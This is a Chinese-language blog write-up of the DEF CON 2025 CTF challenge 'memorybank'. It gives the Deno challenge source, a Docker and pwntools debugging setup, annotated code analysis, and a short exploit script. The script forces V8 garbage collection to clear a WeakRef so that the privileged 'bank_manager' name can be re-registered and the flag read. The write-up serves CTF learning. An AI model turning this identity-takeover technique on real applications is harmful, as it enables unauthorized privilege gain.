2025defcon-memorybank学习及其调试

2025defcon-memorybank学习及其调试

Berial Pwn

题目描述

This challenge was an easy challenge requiring the user to trigger a V8 engine Garbage Collection cycle. This will null out the WeakRef for the bank_manager user.

The intended exploit involved widthdrawing 10000+ bills each with a large signature of 1k

环境搭建

看题目描述应该是关于v8垃圾回收机制的题目了,

题目附件(修改后的)

dockerfile:

1
2
3
4
5
6
7
8
9
FROM denoland/deno:latest

WORKDIR /app

ADD run_challenge.sh /app/run_challenge.sh
ADD index.js /app/index.js
ADD flag /flag

CMD ["/app/run_challenge.sh"]

index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
// ANSI color codes
const RESET = "\x1b[0m";
const GREEN = "\x1b[32m";
const YELLOW = "\x1b[33m";
const BLUE = "\x1b[34m";
const MAGENTA = "\x1b[35m";
const CYAN = "\x1b[36m";
const WHITE = "\x1b[37m";
const BRIGHT = "\x1b[1m";
const DIM = "\x1b[2m";

// ASCII Art
const ATM_ART = `
${CYAN}╔══════════════════════════════════════════════════════╗
${BRIGHT}╔═╗╔╦╗╔╦╗ ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗ ╔╦╗╔═╗╔═╗╦ ╦╦╔╗╔╔═╗${RESET}${CYAN}
${BRIGHT}╠═╣ ║ ║║║──║║║╠═╣║ ╠═╣║║║║║╣ ──║║║╠═╣║ ╠═╣║║║║║╣ ${RESET}${CYAN}
${BRIGHT}╩ ╩ ╩ ╩ ╩ ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝ ╩ ╩╩ ╩╚═╝╩ ╩╩╝╚╝╚═╝${RESET}${CYAN}
║ ║
${MAGENTA}┌─────────────────────┐${CYAN}
${MAGENTA}${WHITE}MEMORY BANK${MAGENTA}${CYAN}
${MAGENTA}└─────────────────────┘${CYAN}
║ ║
${YELLOW}┌─────┬─────┬─────┐${CYAN}
${YELLOW}${WHITE}1${YELLOW}${WHITE}2${YELLOW}${WHITE}3${YELLOW}${CYAN}
${YELLOW}├─────┼─────┼─────┤${CYAN}
${YELLOW}${WHITE}4${YELLOW}${WHITE}5${YELLOW}${WHITE}6${YELLOW}${CYAN}
${YELLOW}├─────┼─────┼─────┤${CYAN}
${YELLOW}${WHITE}7${YELLOW}${WHITE}8${YELLOW}${WHITE}9${YELLOW}${CYAN}
${YELLOW}├─────┼─────┼─────┤${CYAN}
${YELLOW}${WHITE}*${YELLOW}${WHITE}0${YELLOW}${WHITE}#${YELLOW}${CYAN}
${YELLOW}└─────┴─────┴─────┘${CYAN}
║ ║
${GREEN}╔══════════════════╗${CYAN}
${GREEN}${WHITE}INSERT CARD HERE${GREEN}${CYAN}
${GREEN}╚══════════════════╝${CYAN}
║ ║
${BLUE}┌─────────────────┐${CYAN}
${BLUE}${WHITE}CASH DISPENSER${BLUE}${CYAN}
${BLUE}└─────────────────┘${CYAN}
╚══════════════════════════════════════════════════════╝${RESET}`;

const MARBLE_TOP = `
${DIM}${WHITE}╔══════════════════════════════════════════════════════╗
║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓ ║
║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░ ║
║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ║
╚══════════════════════════════════════════════════════╝${RESET}`;

const MARBLE_BOTTOM = `
${DIM}${WHITE}╔══════════════════════════════════════════════════════╗
║ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ║
║ ░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░ ║
║ ▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓░░▓▓ ║
╚══════════════════════════════════════════════════════╝${RESET}`;

class User {
constructor(username) {
this.username = username;
this.balance = 101;
this.signature = null;
}
}

class Bill {
constructor(value, signature) {
this.value = value;
this.serialNumber = 'SN-' + crypto.randomUUID();
this.signature = new Uint8Array(signature.length);
for (let i = 0; i < signature.length; i++) {
this.signature[i] = signature.charCodeAt(i);
}
}

toString() {
return `${this.value} token bill (S/N: ${this.serialNumber})`;
}
}

class UserRegistry {
constructor() {
this.users = [];
}
addUser(user) {
this.users.push(new WeakRef(user));
}
getUserByUsername(username) {
for (let user of this.users) {
user = user.deref();
if (!user) continue;
if (user.username === username) {
return user;
}
}
return null;
}

*[Symbol.iterator]() {
for (const weakRef of this.users) {
const user = weakRef.deref();
if (user) yield user;
}
}
}
const users = new UserRegistry();

function promptSync(message) {
const buf = new Uint8Array(1024*1024);
Deno.stdout.writeSync(new TextEncoder().encode(`${YELLOW}${message}${RESET}`));
const n = Deno.stdin.readSync(buf);
return new TextDecoder().decode(buf.subarray(0, n)).trim();
}

function init() {
users.addUser(new User("bank_manager"));
}

async function main() {
init();
console.log(ATM_ART);
console.log(MARBLE_TOP);
console.log(`${BRIGHT}${CYAN}Welcome to the Memory Banking System! Loading...${RESET}`);
console.log(MARBLE_BOTTOM);

setTimeout(async () => {
await user();
}, 1000);
}

async function user() {

let isLoggedIn = false;
let currentUser = null;

while (true) {
// If not logged in, require registration
if (!isLoggedIn) {
console.log(`${YELLOW}You have 20 seconds to complete your transaction before the bank closes for the day.\n${RESET}`);

// Register user
while (!isLoggedIn) {
let username = promptSync("Please register with a username (or type 'exit' to quit): ");
if (!username) {
console.log(`${CYAN}Thank you for using Memory Banking System!${RESET}`);
Deno.exit(0);
}

if (username.toLowerCase() === 'exit') {
console.log(`${CYAN}Thank you for using Memory Banking System!${RESET}`);
Deno.exit(0);
}

if (username.toLowerCase() === 'random') {
username = 'random-' + crypto.randomUUID();
} else {
let existingUser = users.getUserByUsername(username);

if (existingUser) {
console.log(`${MAGENTA}User already exists. Please choose another username.${RESET}`);
continue;
}
}

currentUser = new User(username);
users.addUser(currentUser);
if (currentUser.username === "bank_manager") {
currentUser.balance = 100000000;
}
console.log(MARBLE_TOP);
console.log(`${BRIGHT}${GREEN}Welcome, ${username}! Your starting balance is ${currentUser.balance} tokens.${RESET}`);
console.log(MARBLE_BOTTOM);

isLoggedIn = true;
}
}

// Banking operations
console.log("\n" + MARBLE_TOP);
console.log(`${CYAN}${BRIGHT}Available operations:${RESET}`);
console.log(`${CYAN}1. Check balance${RESET}`);
console.log(`${CYAN}2. Withdraw tokens${RESET}`);
console.log(`${CYAN}3. Set signature${RESET}`);
console.log(`${CYAN}4. Logout${RESET}`);
console.log(`${CYAN}5. Exit${RESET}`);

// Special admin option for bank_manager
if (currentUser.username === "bank_manager") {
console.log(`${MAGENTA}${BRIGHT}6. Vault: Withdrawflag${RESET}`);
}
console.log(MARBLE_BOTTOM);

const choice = promptSync("Choose an operation (1-" + (currentUser.username === "bank_manager" ? "6" : "5") + "): ");

switch (choice) {
case "1":
console.log(`${GREEN}Your balance is ${BRIGHT}${currentUser.balance}${RESET}${GREEN} tokens.${RESET}`);
break;

case "2":
const amount = parseInt(promptSync("Enter amount to withdraw: "));

if (isNaN(amount) || amount <= 0) {
console.log(`${MAGENTA}Invalid amount.${RESET}`);
continue;
}

if (amount > currentUser.balance) {
console.log(`${MAGENTA}Insufficient funds.${RESET}`);
continue;
}

const billOptions = [1, 5, 10, 20, 50, 100];
console.log(`${YELLOW}Available bill denominations: ${billOptions.join(", ")}${RESET}`);
const denomStr = promptSync("Enter bill denomination: ");
const denomination = parseFloat(denomStr);

if (denomination <=0 || isNaN(denomination) || denomination > amount) {
console.log(`${MAGENTA}Invalid denomination: ${denomination}${RESET}`);
continue;
}

const numBills = amount / denomination;
const bills = [];

for (let i = 0; i < numBills; i++) {
bills.push(new Bill(denomination, currentUser.signature || 'VOID'));
}

currentUser.balance -= amount;

console.log(`${GREEN}Withdrew ${BRIGHT}${amount}${RESET}${GREEN} tokens as ${bills.length} bills of ${denomination}:${RESET}`);
//bills.forEach(bill => console.log(`- ${bill}`));
console.log(`${GREEN}Remaining balance: ${BRIGHT}${currentUser.balance}${RESET}${GREEN} tokens${RESET}`);
break;

case "3":
// Set signature
const signature = promptSync("Enter your signature (will be used on bills): ");
currentUser.signature = signature;
console.log(`${GREEN}Your signature has been updated${RESET}`);
break;

case "4":
// Logout
console.log(`${YELLOW}You have been logged out.${RESET}`);
isLoggedIn = false;
currentUser = null;
break;

case "5":
// Exit
console.log(MARBLE_TOP);
console.log(`${CYAN}${BRIGHT}Thank you for using Memory Banking System!${RESET}`);
console.log(MARBLE_BOTTOM);
Deno.exit(0);

case "6":
if (currentUser.username === "bank_manager") {
try {
const flag = Deno.readTextFileSync("/flag");
console.log(`${BRIGHT}${GREEN}Flag contents:${RESET}`);
console.log(`${BRIGHT}${GREEN}${flag}${RESET}`);
} catch (err) {
console.log(`${MAGENTA}Error reading flag file:${RESET}`, err.message);
}
} else {
console.log(`${MAGENTA}${BRIGHT}Unauthorized access attempt logged 🚨🚨🚨🚨🚨🚨${RESET}`);
}
break;

default:
console.log(`${MAGENTA}Invalid option.${RESET}`);
}
}
}

main().catch(err => {
console.error(`${MAGENTA}An error occurred:${RESET}`, err);
Deno.exit(1);
});

run_challenge.sh:

1
2
3
4
5
6
7
8
#!/bin/bash

ulimit -m 22400

# timeout -k 10 --foreground -s SIGKILL 20s
deno run --v8-flags=--trace-gc --allow-read index.js

echo "⏰ 🚫 BANK IS NOW CLOSED FOR THE DAY 🚫 ⏰"

run.sh:

1
2
3
4
5
#!/bin/bash

docker build -t deno-banking-system .
# docker run --rm -i -p 8080:80 deno-banking-system
docker run --rm -i -p 8080:80 --name memorybank deno-banking-system

复现交互环境及调试环境

在复现该题目时已经没有靶机了,所以我选择利用docker启动环境再使用pwntools进行交互,调试选择使用gdb attach附加到进程

image-20250418170413078
image-20250418170413078

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

# context.log_level = 'debug'
# context.arch = 'amd64'
# 设置目标容器的 ID 或名称
container_name = "memorybank"
# 使用 process 执行 docker top 命令
a = process("./run.sh")
pause()
p = process(f"docker top {container_name}", shell=True)

# 获取并解码输出
output = p.recvall().decode()

# 打印容器内进程信息(可选,用于调试)
print(f"docker top output:\n{output}")

# 提取与目标进程相关的 PID
pid = None
for line in output.splitlines():
if 'deno' in line: # 你可以根据进程名过滤
pid = line.split()[1] # 获取 PID,通常 PID 在第二列
break

if pid:
print(f"Found PID: {pid}")
else:
print("No matching process found.")
p.close()

# io = process(f"gdb attach {pid}", shell=True)
print(f"PID: {pid}")
a.sendlineafter("exit' to quit): ", b'a')
a.interactive()
a.close()

题目分析

首先定义了很多颜色代码和模拟了一个ATM的界面

主要分析后面的部分

1
2
3
4
5
6
7
class User {
constructor(username) {
this.username = username;
this.balance = 101;
this.signature = null;
}
}

定义了用户类,代表一个注册的用户,每个用户拥有用户名、初始余额以及签名三个部分;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Bill {
constructor(value, signature) {
this.value = value;
this.serialNumber = 'SN-' + crypto.randomUUID();
this.signature = new Uint8Array(signature.length);
for (let i = 0; i < signature.length; i++) {
this.signature[i] = signature.charCodeAt(i);
}
}

toString() {
return `${this.value} token bill (S/N: ${this.serialNumber})`;
}
}

定义了钞票类,表示用户可以提取的钞票,每张钞票拥有值、序列号(使用crypto.randomUUID()生成)以及签名三个部分组成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class UserRegistry {
constructor() {
this.users = [];
}
addUser(user) {
this.users.push(new WeakRef(user));
}
getUserByUsername(username) {
for (let user of this.users) {
user = user.deref();
if (!user) continue;
if (user.username === username) {
return user;
}
}
return null;
}

*[Symbol.iterator]() {
for (const weakRef of this.users) {
const user = weakRef.deref();
if (user) yield user;
}
}
}

这部分是用户的注册和登录部分,该类管理所有的注册的用户;通过addUser方法注册,使用getUserByUsername方法查找特定的用户名的用户;迭代器方便遍历已注册的用户;

函数

1
2
3
4
5
6
function promptSync(message) {
const buf = new Uint8Array(1024*1024);
Deno.stdout.writeSync(new TextEncoder().encode(`${YELLOW}${message}${RESET}`));
const n = Deno.stdin.readSync(buf);
return new TextDecoder().decode(buf.subarray(0, n)).trim();
}

用户交互,该函数主要是同步的输入函数,也就是我们正常交互的那里

1
2
3
4
5
6
7
8
9
10
11
async function main() {
init();
console.log(ATM_ART);
console.log(MARBLE_TOP);
console.log(`${BRIGHT}${CYAN}Welcome to the Memory Banking System! Loading...${RESET}`);
console.log(MARBLE_BOTTOM);

setTimeout(async () => {
await user();
}, 1000);
}

首先初始化,然后将之前的ATM界面输出出来, 然后调用user()函数去交互

下面为主要部分,但因为比较长,就把分析写入到代码注释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
async function user() {

let isLoggedIn = false;
let currentUser = null;

while (true) {
// If not logged in, require registration
//如果用户未登录,注册
if (!isLoggedIn) {
console.log(`${YELLOW}You have 20 seconds to complete your transaction before the bank closes for the day.\n${RESET}`);

// Register user
while (!isLoggedIn) {
let username = promptSync("Please register with a username (or type 'exit' to quit): ");//注册一个用户名
if (!username) {
console.log(`${CYAN}Thank you for using Memory Banking System!${RESET}`);
Deno.exit(0);
}

if (username.toLowerCase() === 'exit') {
console.log(`${CYAN}Thank you for using Memory Banking System!${RESET}`);
Deno.exit(0);
}
//如果用户输入为空或者是exit,则退出并打印退出信息
//若用户输入random,则生成一个随机用户名,使用crypto.randomUUID()生成一个全局唯一标识符
if (username.toLowerCase() === 'random') {
username = 'random-' + crypto.randomUUID();
} else {//检测用户名是否已存在
let existingUser = users.getUserByUsername(username);

if (existingUser) {
console.log(`${MAGENTA}User already exists. Please choose another username.${RESET}`);
continue;
}
}
//创建一个新用户实例,使用addUser添加到users里
currentUser = new User(username);
users.addUser(currentUser);
//如果用户名为bank_manager,则设置余额为100000000
if (currentUser.username === "bank_manager") {
currentUser.balance = 100000000;
}
console.log(MARBLE_TOP);
console.log(`${BRIGHT}${GREEN}Welcome, ${username}! Your starting balance is ${currentUser.balance} tokens.${RESET}`);
console.log(MARBLE_BOTTOM);

isLoggedIn = true;
}
}

// Banking operations
//Menu
console.log("\n" + MARBLE_TOP);
console.log(`${CYAN}${BRIGHT}Available operations:${RESET}`);
console.log(`${CYAN}1. Check balance${RESET}`);
console.log(`${CYAN}2. Withdraw tokens${RESET}`);
console.log(`${CYAN}3. Set signature${RESET}`);
console.log(`${CYAN}4. Logout${RESET}`);
console.log(`${CYAN}5. Exit${RESET}`);

// Special admin option for bank_manager
//如果用户是bank_manager,还有额外的操作,可以返回读取flag
if (currentUser.username === "bank_manager") {
console.log(`${MAGENTA}${BRIGHT}6. Vault: Withdrawflag${RESET}`);
}
console.log(MARBLE_BOTTOM);
//读取输入
const choice = promptSync("Choose an operation (1-" + (currentUser.username === "bank_manager" ? "6" : "5") + "): ");

switch (choice) {
//查看余额
case "1":
console.log(`${GREEN}Your balance is ${BRIGHT}${currentUser.balance}${RESET}${GREEN} tokens.${RESET}`);
break;
//提现
case "2":
const amount = parseInt(promptSync("Enter amount to withdraw: "));

if (isNaN(amount) || amount <= 0) {
console.log(`${MAGENTA}Invalid amount.${RESET}`);
continue;
}

if (amount > currentUser.balance) {
console.log(`${MAGENTA}Insufficient funds.${RESET}`);
continue;
}
//若余额足够,选择面值
const billOptions = [1, 5, 10, 20, 50, 100];
console.log(`${YELLOW}Available bill denominations: ${billOptions.join(", ")}${RESET}`);
const denomStr = promptSync("Enter bill denomination: ");
const denomination = parseFloat(denomStr);

if (denomination <=0 || isNaN(denomination) || denomination > amount) {
console.log(`${MAGENTA}Invalid denomination: ${denomination}${RESET}`);
continue;
}

const numBills = amount / denomination;
const bills = [];

for (let i = 0; i < numBills; i++) {
bills.push(new Bill(denomination, currentUser.signature || 'VOID'));
}

currentUser.balance -= amount;

console.log(`${GREEN}Withdrew ${BRIGHT}${amount}${RESET}${GREEN} tokens as ${bills.length} bills of ${denomination}:${RESET}`);
//bills.forEach(bill => console.log(`- ${bill}`));
console.log(`${GREEN}Remaining balance: ${BRIGHT}${currentUser.balance}${RESET}${GREEN} tokens${RESET}`);
break;
//设置签名
case "3":
// Set signature
const signature = promptSync("Enter your signature (will be used on bills): ");
currentUser.signature = signature;
console.log(`${GREEN}Your signature has been updated${RESET}`);
break;
//注销
case "4":
// Logout
console.log(`${YELLOW}You have been logged out.${RESET}`);
isLoggedIn = false;
currentUser = null;
break;
//退出
case "5":
// Exit
console.log(MARBLE_TOP);
console.log(`${CYAN}${BRIGHT}Thank you for using Memory Banking System!${RESET}`);
console.log(MARBLE_BOTTOM);
Deno.exit(0);
//管理员操作
case "6":
if (currentUser.username === "bank_manager") {
try {//读取并打印flag
const flag = Deno.readTextFileSync("/flag");
console.log(`${BRIGHT}${GREEN}Flag contents:${RESET}`);
console.log(`${BRIGHT}${GREEN}${flag}${RESET}`);
} catch (err) {
console.log(`${MAGENTA}Error reading flag file:${RESET}`, err.message);
}
} else {
console.log(`${MAGENTA}${BRIGHT}Unauthorized access attempt logged 🚨🚨🚨🚨🚨🚨${RESET}`);
}
break;

default:
console.log(`${MAGENTA}Invalid option.${RESET}`);
}
}
}

解题

后续就是垃圾回收知识的部分了,这里也是懒得写了。。。。。。

并且该文章主要是分享一下复现该题目的时候本地环境搭建的过程,后面就贴个exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

container_name = "memorybank"
a = process("./run.sh")
pause()
p = process(f"docker top {container_name}", shell=True)
output = p.recvall().decode()
print(f"docker top output:\n{output}")
pid = None
for line in output.splitlines():
if 'deno' in line:
pid = line.split()[1]
break
if pid:
print(f"Found PID: {pid}")
else:
print("No matching process found.")
p.close()
#---------------------------------------------------------
def menu(num):
a.sendlineafter("operation (1-5): ", str(num))
def signin(username):
a.sendlineafter("Please register with a username (or type 'exit' to quit): ", username)
def Setsignature(signature):
menu(3)
a.sendlineafter("Enter your signature (will be used on bills): ", signature)
def withdraw(amount, denomination):
menu(2)
a.sendlineafter("Enter amount to withdraw: ", amount)
a.sendlineafter("Enter bill denomination: ", denomination)
def logout():
menu(4)
#---------------------------------------------------------
# io = process(f"gdb attach {pid}", shell=True)
signin(b'random')
Setsignature(b'a'*500)
sleep(0.2)
withdraw(b'100', b'0.0005')
sleep(0.2)
logout()
sleep(0.2)
signin(b'bank_manager')
# menu(6)
a.interactive()
a.close()
#interactive

image-20250420011715570
image-20250420011715570

  • 标题: 2025defcon-memorybank学习及其调试
  • 作者: Berial
  • 创建于 : 2025-04-18 14:45:17
  • 更新于 : 2025-04-20 01:18:28
  • 链接: https://berial.cn/posts/2025defcon-memorybank学习及其调试.html
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论